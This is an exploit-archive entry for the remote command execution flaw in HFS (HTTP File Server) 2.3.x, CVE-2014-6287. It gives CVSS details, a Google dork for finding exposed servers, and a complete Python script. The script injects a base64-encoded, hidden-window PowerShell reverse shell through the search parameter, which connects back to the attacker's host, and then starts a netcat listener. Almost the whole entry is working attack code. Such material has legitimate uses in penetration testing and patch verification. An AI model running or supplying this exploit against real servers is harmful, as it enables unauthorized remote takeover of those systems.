HFS (HTTP File Server) 2.3.x Remote Code Execution

2021.02.24
Credit: Pergyz
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) # Google Dork: intext:"httpfileserver 2.3" # Date: 20/02/2021 # Exploit Author: Pergyz # Vendor Homepage: http://www.rejetto.com/hfs/ # Software Link: https://sourceforge.net/projects/hfs/ # Version: 2.3.x # Tested on: Microsoft Windows Server 2012 R2 Standard # CVE : CVE-2014-6287 # Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands #!/usr/bin/python3 import base64 import os import urllib.request import urllib.parse lhost = "10.10.10.1" lport = 1111 rhost = "10.10.10.8" rport = 80 # Define the command to be written to a file command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()' # Encode the command in base64 format encoded_command = base64.b64encode(command.encode("utf-16le")).decode() print("\nEncoded the command in base64 format...") # Define the payload to be included in the URL payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}' # Encode the payload and send a HTTP GET request encoded_payload = urllib.parse.quote_plus(payload) url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}' urllib.request.urlopen(url) print("\nEncoded the payload and sent a HTTP GET request to the target...") # Print some information print("\nPrinting some information for debugging...") print("lhost: ", lhost) print("lport: ", lport) print("rhost: ", rhost) print("rport: ", rport) print("payload: ", payload) # Listen for connections print("\nListening for connection...") os.system(f'nc -nlvp {lport}')


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